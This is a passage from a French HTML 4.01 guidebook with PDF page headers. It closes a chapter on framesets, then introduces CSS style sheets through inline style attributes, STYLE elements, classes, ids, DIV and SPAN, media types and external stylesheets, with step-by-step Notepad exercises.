j La spécification de l’attribut rows de l’élément FRAMESET définit
le nombre de subdivisions horizontales dans un jeu
d’encadrement. La spécification de l’attribut cols définit le
nombre de subdivisions verticales. Les deux attributs peuvent être
utilisés simultanément pour créer une grille.
j Au sein de l’élément FRAMESET, les différents cadres sont définis
à l’aide d’éléments FRAME. Un élément FRAME définit le contenu
et l’apparence d’un unique cadre.
j L’attribut name d’un élément FRAME assigne un nom au cadre
concerné. Ce nom est employé comme cible des liens : le cadre
dans lequel ouvrir un document. Un nom de cadre doit
impérativement commencer par un caractère alphanumérique. Il
existe toutefois un certain nombre de « noms réservés » qui
possèdent des propriétés spéciales et débutent par un trait de
soulignement ( _blank, _self, _parent, et _top).
j L’attribut src d’un élément FRAME spécifie la localisation du
contenu initial à placer dans le cadre défini par l’élément FRAME.

LE GUIDE COMPLET 275

 Chapitre 7 Jeux d’encadrement

j Vous pouvez spécifier le mode de restitution d’un cadre par

l’agent utilisateur à l’aide de différents attributs. noresize
indique à l’agent utilisateur que le cadre ne doit pas être
redimensionnable, l’attribut scrolling autorise ou interdit la
présence de barres de défilement, frameborder spécifie la taille
(ou l’absence) de la bordure du cadre. Les attributs
marginwidth et marginheight spécifient respectivement la
quantité d’espace à laisser entre le contenu du cadre et ses marges
latérales (gauche et droite) et haute et basse.
j Par défaut, tout lien présent dans un cadre ouvre sa référence dans
le même cadre. Pour ouvrir un lien dans un autre cadre, vous
devez utiliser l’attribut target, suivi du nom du cadre cible.
Vous pouvez définir un cadre cible par défaut pour les liens du
cadre en employant l’attribut target dans un élément BASE.
j HTML 4.01 recommande des règles de priorités que devraient
respecter les agents utilisateurs pour déterminer le cadre cible
dans lequel charger une ressource liée.
j Il est possible d’imbriquer un nombre quelconque de jeux
d’encadrement.
j Il est possible de partager des données entre plusieurs cadres en
incluant celles-ci au moyen de l’élément OBJECT. L’élément
OBJECT doit être placé dans l’élément HEAD du document de
définition du jeu d’encadrement et nommé à l’aide d’un attribut
id. Tout document qui est le contenu d’un cadre dans le jeu
d’encadrement peut alors se référer à cet identifiant.
j Il est préférable de placer un élément NOFRAMES dans l’élément
FRAMESET afin d’offrir un contenu de remplacement aux agents
utilisateurs qui ne reconnaissent pas les cadres ou ne sont pas
configurés pour afficher ces cadres.
j Vous pouvez insérer un cadre en ligne au sein d’un bloc de texte
à l’aide de l’élément IFRAME. Un tel cadre ne peut jamais être
redimensionné.
j D’une certaine façon, les problèmes de conception d’un jeu
d’encadrement sont très proches de ceux rencontrés lors de la
conception de tableaux. Un des principaux problèmes posés,
comme avec les tableaux, concerne la taille de l’écran. Il est de
nos jours raisonnable de considérer que l’écran de l’utilisateur
possède une dimension au moins égale à 800 pixels de large pour
600 pixels de haut.

276 LE GUIDE COMPLET

 Feuilles de style

Introduction ......................................................................................................................... 279

Attribut style ........................................................................................................................ 281
Élément STYLE ................................................................................................................... 282
Feuille de style externe ..................................................................................................... 294
Propriétés de feuille de style ........................................................................................... 306
Feuille de style en cascade ............................................................................................. 323
Feuille de style auditive, pour un public particulier ................................................... 328
Résumé ................................................................................................................................ 335
 Chapitre 8 Feuilles de style

Vous avez remarqué dans les chapitres précédents que les attributs et
certains éléments relatifs à la mise en forme et à la présentation de pages
Web étaient fréquemment, signalés comme déconseillés en faveur du
recours aux feuilles de style.
Lors de l’apparition du Web, les principaux utilisateurs étaient
essentiellement des scientifiques, des enseignants et des militaires, plus
concernés par le contenu des documents que par leur présentation. Le
développement fulgurant du World Wide Web et l’arrivée de personnes
issues d’horizons très différents a mis rapidement en évidence que les
limites de HTML constituaient une source de frustration perpétuelle.
Nombreux furent alors ceux qui durent contourner les limites de mise en
forme d’HTML par des méthodes aussi diverses qu’astucieuses. Aussi
louable qu’ait pu être le but d’améliorer la présentation des pages Web,
les techniques employées pour ce faire possédaient des effets
secondaires malheureux : leur fonctionnement n’était pas garanti et
restait largement dépendant de divers facteurs, dont l’agent utilisateur.
Les principales méthodes employées étaient :
j L’emploi d’extensions HTML propriétaires.
j La conversion du texte en image.
j Le recours à des images pour contrôler l’espacement.
j L’emploi de tableaux pour la mise en page.
j L’écriture d’un programme plutôt que le recours à HTML.

Ces techniques accroissent considérablement la complexité des pages

Web, offrent peu de souplesse, souffrent de problèmes d’interopérabilité
et constituent une épreuve pénible pour les personnes présentant des
handicaps.
Les feuilles de style HTML représentent un progrès majeur qui
développe les possibilités d’amélioration de l’aspect des pages Web.
Elles résolvent tous ces problèmes en même temps qu’elles remplacent
l’éventail limité des mécanismes de présentation HTML. Avec les
feuilles de style, il devient facile de spécifier l’espacement entre les
lignes de texte, l’indentation des lignes de texte, la couleur utilisée pour
le texte et l’arrière-plan, la taille et le style de la police et quantité
d’autres détails.
Les feuilles de style HTML peuvent être mises en œuvre de trois façons
différentes :
j Au sein d’un élément.

278 LE GUIDE COMPLET

 Introduction Chapitre 8

j Dans l’élément HEAD du document.

j À l’aide d’une feuille de style externe.

Ces trois méthodes ne sont pas exclusives les unes des autres. Ce
chapitre étudie les différentes modalités de mise en œuvre des feuilles de
style.

Éléments et attributs étudiés dans ce chapitre :

STYLE
LINK
color, background-color, font-, text-, margin-, border-,
padding-, height, width, overflow, float, position, left,
top, z-index, clip, visibility, media
speak, spell-out, cue-, pause-, azimuth, elevation,
voice-family, volume, silent, speech-rate, richness,
stress
@media

8.1. Introduction
Une des motivations sous-jacentes aux feuilles de style, outre celles
citées plus haut, était d’améliorer la séparation de la logique de structure
(définie par les éléments HTML) de celle de la présentation (désormais
définie par les feuilles de style). Cette démarche de séparation des
différentes couches de logique, de plus en plus fréquente en matière de
programmation, s’inspire du modèle MVC (voir encadré).

Séparation de la logique et de la présentation : le modèle MVC

(Model-View-Controller)
Le modèle MVC est un modèle de conception logicielle largement
répandu, initialement créé dans les années 1980 par Xerox PARC pour
Smalltalk-80. Il a été plus récemment recommandé comme modèle pour la
plate-forme J2EE de Sun et gagne fortement en popularité auprès des
développeurs ColdFusion et PHP. C’est un outil fort utile au développeur,
quel que soit le langage utilisé, même s’il présente quelques
inconvénients.
Le modèle de conception MVC impose la séparation entre les données,
les traitements et la présentation. Toute application est ainsi divisée en
trois composants fondamentaux : le modèle, la vue et le contrôleur.
Chacun de ces composants possède un rôle bien défini.
La vue est l’interface avec laquelle interagit l’utilisateur. Pour les
applications Web, c’était historiquement une interface HTML, mais cela
peut également être une interface Macromedia Flash ou d’autres langages
de balises comme XHTML, XML/XSL, WML et les services Web. Le

LE GUIDE COMPLET 279

 Chapitre 8 Feuilles de style

MVC sait gérer l’utilisation de différentes vues pour une même

application. Aucun traitement n’est effectué dans la vue : celle-ci ne
sert qu’à afficher les données et à permettre à l’utilisateur d’agir sur
celles-ci. Le deuxième composant du MVC, le modèle, représente les
données et les règles de travail (là où s’effectuent les traitements). Les
bases de données en font partie, de même que des objets comme les EJB
et composants ColdFusion. Les données renvoyées par le modèle sont
indépendantes de la présentation : le modèle ne réalise aucune mise en
forme. Un même modèle peut afficher ses données dans plusieurs vues.
Enfin, le contrôleur interprète les requêtes de l’utilisateur et appelle le
modèle et la vue nécessaires pour répondre à celles-ci. Lorsque
l’utilisateur clique sur un lien ou soumet un formulaire HTML, le
contrôleur ne produit rien et n’effectue aucun traitement : il intercepte
simplement la requête pour déterminer les modèles et vues qui doivent
être associés.
Pour résumer, une requête utilisateur est interprétée par le contrôleur, qui
détermine les portions du modèle et de la vue qui doivent être appelées.
Le modèle gère les interactions avec les données et applique les règles de
travail, puis renvoie les données. Le contrôleur sélectionne enfin une vue
et lui transmet les données.
En appliquant ce modèle à HTML, la feuille de style serait la vue, l’agent
utilisateur le contrôleur et le document HTML le modèle.

La spécification HTML 4.01 ne lie pas HTML à un langage de style

particulier. Cela permet l’utilisation d’un panel de langages (les plus
simples pour la majorité des utilisateurs et les plus complexes pour une
minorité d’utilisateurs aux besoins très spécialisés). Le langage le plus
fréquemment employé est CSS (Cascading Style Sheet), fondé sur la
Recommandation W3C CSS niveau 2 (dont la version révisée au 7 juin
2005 est disponible en français à l’adresse [Link]/doc/w3c
/css2/[Link]) et la version 2.1 release candidate (disponible en anglais
à l’adresse [Link] C’est celui dont nous nous
servirons dans cet ouvrage. La spécification CSS niveau 3 est en cours
d’élaboration (voir [Link] Souvenez-
vous toutefois que d’autres langages de feuille de style sont possibles en
HTML.

Pour employer dans vos pages des feuilles de style, vous devez spécifier
le langage employé, à l’aide d’un élément META.
1 Ouvrez le fichier [Link] dans le Bloc-Notes.
2 Modifiez le numéro de version en 3.8.1 (il s’agit là encore d’une
modification majeure) :
<META name="version" content="3.8.1">

280 LE GUIDE COMPLET

 Attribut style Chapitre 8

3 Ajoutez juste en dessous, avant la balise </HEAD>, l’élément

META suivant :
<META http-equiv="Content-Style-Type"
content="text/css">

4 Enregistrez le fichier [Link] sans modifier son nom.

5 Répétez les étapes 1 à 4 pour les fichiers [Link],
[Link], [Link] et [Link].
6 Ouvrez le fichier [Link]. Modifiez son numéro de version,
ajoutez le nouvel élément META, puis gardez ce fichier ouvert
dans le Bloc-Notes.

Comme vous devez l’avoir compris, il s’agit d’une ligne essentielle à

ajouter désormais systématiquement dans l’élément HEAD de tout fichier
HTML.

8.2. Attribut style

La façon la plus simple de définir un style dans une page, pour rester en
conformité avec la spécification HTML 4.01, consiste à le faire en ligne
à l’aide de l’attribut style. Cet attribut peut être employé avec tous les
éléments HTML sauf BASE, BASEFONT, HEAD, HTML, META, PARAM,
SCRIPT, STYLE et TITLE.

Passons à la pratique.
1 Revenez au fichier [Link], qui devrait être ouvert dans votre
Bloc-Notes.
2 Modifiez comme suit la ligne de titre (l’élément H1), en ajoutant
un attribut style :
<H1 style="font-size: 32pt; text-align: center; color:
✂ green">Ma page d’accueil</H1>

3 Enregistrez le fichier sans modifier son nom.

Lancez votre navigateur, puis ouvrez le fichier [Link] (voir
Figure 8.1).

La syntaxe de la valeur de l’attribut style est déterminée par le langage

de feuille de style par défaut. Par exemple, pour un style en ligne CSS,
vous devez employer la syntaxe de bloc de déclaration CSS. La syntaxe
générale CSS de l’attribut style est donc :

LE GUIDE COMPLET 281

 Chapitre 8 Feuilles de style

Figure 8.1 :
Page d’accueil, avec
titre principal,
modifiée à l’aide
d’un attribut style.

style ="propriété1 : valeur; propriété2 = valeur; …

propriétén = valeur"

Pour spécifier les informations de style de plusieurs éléments, mieux

vaut préférer l’élément STYLE.

8.3. Élément STYLE

L’élément STYLE permet de rassembler des règles de style dans l’en-tête
du document, qui vont ainsi s’appliquer à la totalité des éléments
concernés du document. HTML autorise un nombre quelconque
d’éléments STYLE dans la section HEAD d’un document.

La syntaxe des données de style dépend du langage de feuille de style.

Certaines implémentations de feuille de style peuvent autoriser une plus

grande variété de règles dans l’élément STYLE que dans l’attribut
style. D’une façon générale, CSS distingue les sélecteurs (la
définition d’un élément) et les définitions (les propriétés de présentation
affectées à cet élément). CSS permet de déclarer les règles à l’intérieur
d’un élément STYLE pour :
j Toutes les instances d’un élément HTML particulier (par exemple,
tous les éléments P, tous les éléments H1, etc.).
H1 {définitions}

282 LE GUIDE COMPLET

 Élément STYLE Chapitre 8

j Toutes les instances d’un élément HTML appartenant à une classe

particulière (par exemple, les éléments dont l’attribut class
possède une valeur spécifiée).
*[class=valeur] {définitions}

j Les instances uniques d’un élément HTML (par exemple, un

élément dont l’attribut id possède une valeur spécifiée).
élément[id=valeur] {définitions}

Il ne s’agit là toutefois que d’exemples simplissimes : la version 3 des

sélecteurs CSS ([Link]
[Link]) propose des sélecteurs nombreux et très
sophistiqués, capables de répondre désormais à pratiquement toutes les
situations (reportez-vous au tableau 13.12 du Chapitre 13, « Annexes »).
Les possibilités d’enrichissement d’un contenu à l’aide d’une feuille de
style sont désormais extrêmement riches. En outre, CSS permet de
combiner à l’aide d’opérateurs les sélecteurs simples, ce qui élargit
encore le champ des possibilités.

Sensibilité à a casse dans les sélecteurs

Dans les sélecteurs, la sensibilité à la casse des noms d’éléments et
d’attributs ainsi que des valeurs des attributs dépend du langage du
document. Par exemple, les noms d’éléments sont sensibles à la casse en
XML mais pas en HTML.

Les règles de préséance et d’héritage des règles de style dépendent du

langage de feuille de style.

Examinons successivement ces trois possibilités.

Définition du style de la totalité

des occurrences d’un élément donné
L’élément STYLE permet de définir facilement l’aspect d’éléments
HTML spécifiés. Voici comment procéder :
1 Ouvrez dans le Bloc-Notes le fichier [Link].
2 Enregistrez-le en l’état sous le nom accueil_3_8_1.html. Modifiez
ensuite son numéro de version :
<META name="version" content="3.8.2">

LE GUIDE COMPLET 283

 Chapitre 8 Feuilles de style

3 Avant la balise de fermeture de l’élément HEAD, ajoutez un

élément STYLE doté du contenu suivant :
<STYLE type="text/css">
H1 {border-width: 1; border: solid;
text-align: center;
font-size: 32pt; color: green}
H2 {font-size: 20pt; text-align: center}
P {font-size: 16pt; text-align: center}
UL {font-size: 16 pt; text-align: center}
LI {font-size: 14pt; text-align: left;
margin-left: 40%}
ADDRESS {text-align: center}
</STYLE>
</HEAD>

4 Supprimez l’attribut style de l’élément H1 ainsi que l’attribut

align de l’élément H2 (puisque vous avez défini ces styles dans
l’en-tête), ainsi que les balises de l’élément DIV (les styles des
éléments contenus sont également définis dans l’en-tête). Comme
vous avez défini un cadre autour de l’élément H1, vous pouvez
également supprimer la règle horizontale qui le suit (l’élément
HR).
5 Enregistrez le fichier d’abord sous le nom accueil_3_8_2.html, puis
sous le nom [Link].

Lancez votre navigateur, puis ouvrez le fichier [Link]. Remarquez

que vous lancez [Link] puisque celui-ci charge automatiquement
[Link] dans un jeu d’encadrement (voir Figure 8.2).

Cette page ne diffère que très peu de la précédente. Nous examinerons

plus en détail dans la suite de ce chapitre les différents attributs qu’il est
possible d’employer dans une feuille de style, mais regardez déjà ce que
nous avons fait ici :
j Dans l’élément H1, la propriété border−width crée un cadre
épais d’un pixel, la propriété border définissant son aspect (ligne
pleine).
j La propriété color, déjà rencontrée, définit la couleur du texte.
j La propriété font−size, également déjà rencontrée, définit la
taille de la police. Nous avons employé des tailles décroissantes
selon les cas.

284 LE GUIDE COMPLET

 Élément STYLE Chapitre 8

Figure 8.2 : Page d’accueil avec, cette fois, recours à un élément STYLE.

j La propriété text−align, déjà rencontrée aussi, définit

l’alignement du texte. Les éléments H1, H2, P, UL et ADDRESS
sont définis comme devant être centrés à l’écran. En revanche,
l’élément LI doit être aligné à gauche.
j Enfin, la propriété margin−left: 40% de l’élément LI définit
une marge gauche égale à 40 % de l’espace disponible : l’effet
obtenu avec cette marge et l’alignement à gauche est plus
satisfaisant que le centrage précédent.

Grâce à la définition des styles dans l’élément HEAD, toute occurrence

des éléments définis sera rendue de façon homogène, selon les critères
spécifiés. Un énorme gain de temps et la garantie de disposer d’un effet
homogène !

Effet homogène, mais peut-être trop. Vous pourriez souhaiter définir des
types de présentation particuliers pour certaines occurrences d’un
élément précis . Cela est possible, grâce à l’emploi de l’attribut classe.

LE GUIDE COMPLET 285

 Chapitre 8 Feuilles de style

Définition du style de certaines occurrences

d’un élément donné
Souvenez-vous : nous avons prévu dans la page d’accueil une place pour
des remarques légales, mais sans encore les créer. Si nous les mettons
dans un élément P, elles possèderont une taille de police et un centrage
automatiques, compte tenu de la feuille de style actuelle. Il faut donc
indiquer que, pour les éléments P qui appartiennent à une classe
particulière, l’aspect doit être autre. Procédez comme suit :
1 Revenez dans le Bloc-Notes au fichier [Link].
2 Modifiez son numéro de version :
<META name="version" content="3.8.3">

3 Ajoutez dans l’élément STYLE, juste après la définition de

l’élément P, une nouvelle définition :
P {font-size: 16pt; text-align: center}
[Link] {font-size: 8pt; font-variant:
small-caps}
UL {font-size: 16 pt; text-align: center}

4 Remplacez le commentaire <!−− Des remarques légales ne

seraient pas superflues −−> par l’élément P suivant :
<P class="legal">&copy; 2005 votrenom –
Tous droits r&eacute;serv&eacute;s</P>

5 Enregistrez le fichier d’abord sous le nom accueil_3_8_3.html, puis

sous le nom [Link].
<HEAD>
<STYLE type="text/css">
[Link] {border-width: 1; border: solid;
text-align: center}
</STYLE>
</HEAD>
<BODY>
<H1 class="maclasse"> Cet H1 est touch&eacute;
par notre style </H1>
<H1> Celui-ci ne l’est pas </H1>
</BODY>

Ouvrez le fichier [Link] dans votre navigateur (voir Figure 8.3).

Le paragraphe des remarques légales, bien qu’étant un élément P, est

présenté différemment puisque nous avons spécifié que cet élément
appartenait à la classe legal.

286 LE GUIDE COMPLET

 Élément STYLE Chapitre 8

Figure 8.3 : Définition d’un style pour une classe d’éléments particulière

Remarquez l’attribut type de l’élément STYLE. Sa syntaxe est :

type = "type_de_contenu"

Cet attribut spécifie le langage de feuille de style par défaut du contenu

de l’élément. Il surclasse, lorsqu’il est présent et qu’elle est spécifiée, la
feuille de style par défaut (définie par <META http−equiv=
"Content−Style−Type" content="type_de_contenu"> dans
l’élément HEAD). Le langage de feuille de style est spécifié comme un
type de contenu (par exemple, "text/css"). Si la définition de la
feuille de style par défaut est absente, il est indispensable de fournir une
valeur pour cet attribut : il est dépourvu de valeur par défaut.

Définition du style d’une unique occurrence

d’un élément donné
Vous pourriez également souhaiter qu’un élément unique dans votre,
voire vos pages respecte un style particulier. Vous avez alors recours à
l’identifiant de cet élément (l’attribut id), lequel doit être unique dans le
document. La syntaxe est la suivante :
<STYLE>
#monid {propriété1 :valeur; propriété2: valeur;...
propriétén: valeur}
</STYLE>

LE GUIDE COMPLET 287

 Chapitre 8 Feuilles de style

La mise en œuvre serait comme suit :

<P id="monid"> Ce paragraphe est soumis au style </P>
<P> mais pas celui-la. </P>

Vous pourriez vous poser la question de l’intérêt de définir dans la

feuille de style d’en-tête un élément unique : ne serait-il pas plus simple
de définir un attribut style dans cet élément ?

La réponse tient à ce que nous avons déjà souligné à plusieurs reprises :

HTML doit être un langage de spécification de contenu. Son but est
avant tout la structure et non la présentation. Mieux vaut donc séparer au
maximum la logique structurelle (les éléments HTML et leur contenu)
de la logique de présentation (la feuille de style).

Éléments DIV et SPAN

Vous avez compris qu’il était possible de définir des informations de
style pour pratiquement tous les éléments HTML. Deux éléments, DIV
et SPAN, méritent cependant des mentions particulières.

La plupart des éléments HTML possèdent déjà une mise en forme

« intégrée ». Un paragraphe de texte place une ligne avant et après
lui-même, et utilisera une police différente de celle des autres éléments
dans certains navigateurs.

Dans la mesure où les feuilles de style sont supposées combiner les

indications structurelles et les indications de mise en forme, il fallait
créer des éléments « neutres ». L’élément DIV est un élément de type
bloc, ce qui signifie qu’une ligne sera insérée avant et après lui. En
termes de structure, il ne correspond qu’au souhait de lui voir présenter
un aspect particulier, différent du comportement des éléments de
structure classique. Il ne possède pourtant aucune autre mise en forme
particulière par défaut, si bien que le texte qui y figure apparaîtra comme
texte par défaut (sauf s’il est spécifié autrement).

SPAN fonctionne de la même façon, si ce n’est qu’il s’agit d’un élément

ligne. Ces deux éléments peuvent être définis dans une feuille de style
comme n’importe quel autre élément.

En conséquence, vous pouvez utiliser ces éléments pour insérer des

styles conçus entièrement sur la structure de la page, plutôt que selon ses
éléments de conception. Par exemple, si la première section de votre

288 LE GUIDE COMPLET

 Élément STYLE Chapitre 8

document contient les informations les plus importantes, placez-les dans

un élément DIV auquel vous attribuez un style particulier : une couleur
spéciale, une police caractéristique ou un texte en italique. Tout son
contenu, y compris les titres et les images, hériteront du style DIV.

De ce fait, l’emploi de ces éléments conjointement aux feuilles de style

permet un développement HTML pratiquement illimité, particulièrement
quand ils sont employés avec les attributs class et id : cela permet de
développer potentiellement une infinité de types de présentation
différents. Par exemple :
<STYLE type="text/css">
H1 {border-width: 1; border: solid; text-align: center;
font-size: 32pt; color: green}
P {font-size: 16pt; text-align: center}
DIV {font-size: 16pt; text-align: center}
[Link] {font-style: italic}
DIV.g {font-weight: bold}
[Link] {font-style: italic; font-weight: bold}
[Link] {font-style: italic}
SPAN.g {font-weight: bold}
[Link] {font-style: italic; font-weight: bold}
</STYLE>

Regardez le fichier suivant (volontairement minimaliste), dans lequel les

parties importantes sont présentées en gras :

Listing 8-1 : Fichier [Link]

<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"El&eacute;ment STYLE avec des
&eacute;l&eacute;ments DIV et SPAN "</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">
<META http-equiv="Content-Style-Type" content="text/css">
<STYLE type="text/css">
H1 {text-align: center}
P {font-size: 16pt; text-align: center}
DIV {font-size: 16pt; text-align: center}
[Link] {font-style: italic}
DIV.g {font-weight: bold}
[Link] {font-style: italic; font-weight: bold}
[Link] {font-style: italic}
SPAN.g {font-weight: bold}
[Link] {font-style: italic; font-weight: bold}
</STYLE>

LE GUIDE COMPLET 289

 Chapitre 8 Feuilles de style

</HEAD>
<BODY>
<H1>El&eacute;ment <CODE>STYLE</CODE> avec
des &eacute;l&eacute;ments <CODE>DIV</CODE>
et <CODE>SPAN</CODE></H1>
<P>Ceci est un paragraphe normal.</P>
<DIV class="it">Ceci est un paragraphe en italiques</DIV>
<DIV class="g">Ceci est un paragraphe en gras</DIV>
<DIV class="itg">Ceci est un paragraphe en italiques gras
</DIV>
<P>Ceci est un paragraphe normal, avec quelques mots
<SPAN class="it">en italiques</SPAN>,
quelques-uns <SPAN class="g">en gras</SPAN> et d’autres
<SPAN class="itg">en italiques gras</SPAN>.</P>
</BODY>
</HTML>

Examiné dans votre navigateur, ce fichier affiche ce qui est présenté

dans la figure suivante.

Figure 8.4 :
Définition d’un style pour des classes
d’éléments DIV et SPAN

Le gain de saisie semble ici relativement faible, mais imaginez que vous
ayez à modifier la taille et le type de la police, sa couleur, l’alignement,
etc.

Remarquez en outre dans cette figure que les éléments DIV des classes
it, g et itg héritent du style défini pour l’élément générique DIV : ici,
la taille de police et le centrage. Nous reviendrons par la suite sur cette
notion d’héritage, mais sachez dès à présent qu’un style hérite des
caractéristiques par défaut de son style parent.

290 LE GUIDE COMPLET

 Élément STYLE Chapitre 8

Attribut media
HTML permet aux auteurs de spécifier les documents qui exploitent les
caractéristiques du médium sur lequel le document doit être restitué (par
exemple : écran graphique, écran de télévision, appareil de poche,
navigateur à synthèse vocale, appareil tactile braille, etc.). Cela ouvre
aux utilisateurs l’accès aux pages Web au moyen d’une grande variété
d’appareils.

Les feuilles de style s’appliquent à un médium spécifique ou à un

groupe de médias. Une feuille de style prévue pour un écran peut être
éventuellement utilisable pour l’impression, mais sera de peu d’utilité
pour un navigateur à synthèse vocale. Cette spécification permet de
définir les catégories générales de médias auxquelles peut s’appliquer
une feuille de style donnée. Ceci permet aux agents utilisateurs d’éviter
la recherche de feuilles de style inappropriées. Les langages de feuilles
de style peuvent inclure des mécanismes décrivant les dépendances aux
médias dans une même feuille de style.

L’attribut media de l’élément STYLE spécifie le média de destination

désiré pour les informations de style. Cela peut être un descripteur de
média unique ou une liste de descripteurs, séparés par des virgules. La
valeur par défaut de cet attribut est screen, soit un écran d’ordinateur
(le cas le plus fréquent). Sa syntaxe est la suivante :
media = "descripteur_médium1, descripteur_médium2, ...
descripteur_médiumn"

Les valeurs possibles et les significations de celles-ci sont présentées

dans le tableau suivant.

Tableau 8.1 : Descripteurs de médias

Descripteur de But
médium

screen Écrans d’ordinateurs non paginés

tty Périphérique utilisant une grille de caractères fixe,

comme un télex.

tv Périphériques de type télévision

projection Vidéoprojecteurs

handheld Périphériques tenus à la main (en principe écran de

petite taille et faible bande passante)

LE GUIDE COMPLET 291

 Chapitre 8 Feuilles de style

Tableau 8.1 : Descripteurs de médias

Descripteur de But
médium

print Matériaux opaques paginés et documents vus à

l’écran en mode Aperçu avant impression

braille Périphérique à rendu tactile braille

embossed Imprimantes à pagination braille

speech Synthétiseurs de parole. Anciennement aural en CSS

2.0.

all Tous périphériques

Par exemple, les déclarations des exemples suivants s’appliquent aux

éléments H1. Pour une projection dans une réunion de travail, toutes
leurs instances apparaîtront en bleu. Pour une impression papier, toutes
les instances seront centrées.
<STYLE type="text/css" media="projection">
H1 {color: blue}
</STYLE>
<STYLE type="text/css" media="print">
H1 {text-align: center}
</STYLE>

Le choix du support est particulièrement intéressant quand il s’applique

aux feuilles de style externes, dans la mesure où les agents utilisateurs
peuvent économiser du temps en ne chargeant à partir du réseau que les
feuilles de style qui concernent le périphérique courant. Nous
reviendrons donc sur ce sujet lors de l’étude des feuilles de style
externes.

Masquage du contenu de l’élément STYLE

Les agents utilisateurs qui ne reconnaissent pas les feuilles de style ou le
langage de feuille de style spécifique employé par un élément STYLE
doivent dissimuler le contenu de l’élément STYLE. La restitution du
contenu de cet élément en tant que partie du texte du document constitue
une erreur. Certains langages de feuilles de style gèrent une syntaxe
pour dissimuler le contenu aux agents utilisateurs non conformes. C’est
le cas de CSS.
1 Revenez dans le Bloc-Notes au fichier [Link].

292 LE GUIDE COMPLET

 Élément STYLE Chapitre 8

2 Modifiez son numéro de version :

<META name="version" content="3.8.4">

3 Modifiez comme suit l’élément STYLE :

<STYLE type="text/css">
<!--
H1 {border-width: 1; border: solid; text-align: center;
font-size: 32pt; color: green}
H2 {font-size: 20pt; text-align: center}
P {font-size: 16pt; text-align: center}
[Link] {font-size: 8pt; font-variant: small-caps}
UL {font-size: 16 pt; text-align: center}
LI {font-size: 14pt; text-align: left; margin-left: 40%}
ADDRESS {text-align: center}
-->
</STYLE>

5 Enregistrez le fichier d’abord sous le nom accueil_3_8_4.html, puis

sous le nom [Link].

Ouvrez le fichier [Link] dans votre navigateur. Vous devriez obtenir

quelque chose de similaire à ce qui est présenté dans la figure suivante,

Figure 8.5 : Le masquage optionnel du contenu de l’élément STYLE reste

sans conséquence si l’agent utilisateur reconnaît cet élément

soit quelque chose de parfaitement identique à ce qui était présenté dans

celle-ci.

La seule différence est qu’un agent utilisateur qui ne reconnaît pas

l’élément STYLE n’affichera pas son contenu comme du texte.

LE GUIDE COMPLET 293

 Chapitre 8 Feuilles de style

Figure 8.6 : Définition d’un style pour une classe d’éléments particulière

En poussant le raisonnement à propos de la séparation de la structure et

de la présentation à sa conclusion logique, la séparation doit être encore
plus drastique et les styles définis dans une ou plusieurs feuilles de style
externes. C’est ce que nous allons examiner maintenant.

8.4. Feuille de style externe

Outre l’objectif de séparation de la structure et de la présentation,
d’excellentes raisons incitent à employer des feuilles de style :
j Il est possible de partager des feuilles de style entre plusieurs
documents et/ou sites.
j Une feuille de style peut être modifiée sans qu’il soit nécessaire
de modifier le document.
j Les agents utilisateurs peuvent charger les feuilles de style
sélectivement, en fonction des descriptions des médias.

Cela a toujours été et reste une des recommandations fondamentales de

la spécification CSS. Le principal avantage est qu’il suffit de modifier
une feuille de style externe pour modifier l’aspect général du site. Cela
est fort pratique si vous utilisez un modèle général, chaque page pouvant
toujours, si nécessaire, posséder un aspect particulier grâce aux classes
et aux identifiants.

Comme cela a été mentionné plus tôt, il est possible de lier une feuille
de style externe à n’importe quel document Web. Une feuille de style

294 LE GUIDE COMPLET

 Feuille de style externe Chapitre 8

externe s’adapte particulièrement bien aux sites de grande taille : il suffit

de modifier un fichier pour affecter l’intégralité du site. En combinaison
avec un modèle de page Web, cela facilite l’organisation et la
standardisation du site.

Une feuille de style n’est rien d’autre qu’un fichier texte qui indique à
l’agent utilisateur comment restituer votre code HTML. Elle complète
les éléments standard : si l’élément H1 signale un titre, la balise <H1
style="color: green;"> correspond à un titre vert. Une feuille de
style externe emmène HTML un pas plus avant dans la séparation
réussie entre logique de travail et logique de présentation.

Pour créer une feuille de style externe, débutez par un fichier texte
ordinaire. Il n’est pas besoin d’utiliser un quelconque élément ou balise :
saisissez simplement vos propriétés à la volée, exactement comme si
elle étaient incluses dans l’élément STYLE d’un fichier HTML.

Comme nous l’avons vu précédemment, un style se compose de

propriétés qui possèdent des valeurs. Pour le paragraphe vert, la
propriété est color et sa valeur est green. Vous allez créer votre
première feuille de style.
1 Ouvrez un document vierge dans le Bloc-Notes. Saisissez ce qui
suit (vous pouvez également effectuer un copier-coller du contenu
de l’élément STYLE du fichier [Link], puisque les
informations sont identiques) :
/* [Link] : feuille de style pour mon site */
H1 {border-width: 1; border-style: solid; text-align: center;
font-size: 32pt; color: green}
H2 {font-size: 20pt; text-align: center}
P {font-size: 16pt; text-align: center}
[Link] {font-size: 8pt; font-variant: small-caps}
UL {font-size: 16 pt; text-align: center}
LI {font-size: 14pt; text-align: left; margin-left: 40%}
ADDRESS {text-align: center}

Comme vous le voyez, un document .css ne possède ni

ouverture ni fermeture. Les commentaires sont encadrés de
symboles /* et */ : un vieux souvenir de syntaxe de
programmation.
2 Enregistrez ce fichier sous le nom [Link].
Attention, un fichier de feuille de style doit toujours comporter
une extension .css.

LE GUIDE COMPLET 295

 Chapitre 8 Feuilles de style

3 Ouvrez le fichier [Link].

4 Modifiez son numéro de version :
<META name="version" content="3.8.5">

5 Remplacez l’élément STYLE par l’élément LINK suivant :

<LINK rel="STYLESHEET" type="text/css"
href="[Link]">

6 Enregistrez le fichier d’abord sous le nom accueil_3_8_5.html, puis

sous le nom [Link].

Ouvrez le fichier [Link] dans votre navigateur. Vous devriez

obtenir quelque chose de similaire à ce qui est présenté dans la figure
suivante, soit encore une fois quelque chose de parfaitement identique à
ce qui était présenté Figure 8.3 ou Figure 8.5. La seule différence est que
les styles sont désormais définis dans une feuille de style externe.

Figure 8.7 :
Le site employant
désormais une feuille
de style externe

Pour tirer un profit maximum de notre feuille de style, il faut l’appliquer

aux autres pages de notre site, en complétant si besoin les différentes
spécifications. Commençons par le fichier le plus simple, [Link].
1 Ouvrez [Link] dans le Bloc-Notes.
2 Modifiez son numéro de version :
<META name="version" content="3.8.1">

3 Ajoutez l’élément LINK identique à celui du fichier [Link].

<LINK rel="STYLESHEET" type="text/css"
href="[Link]">

296 LE GUIDE COMPLET

 Feuille de style externe Chapitre 8

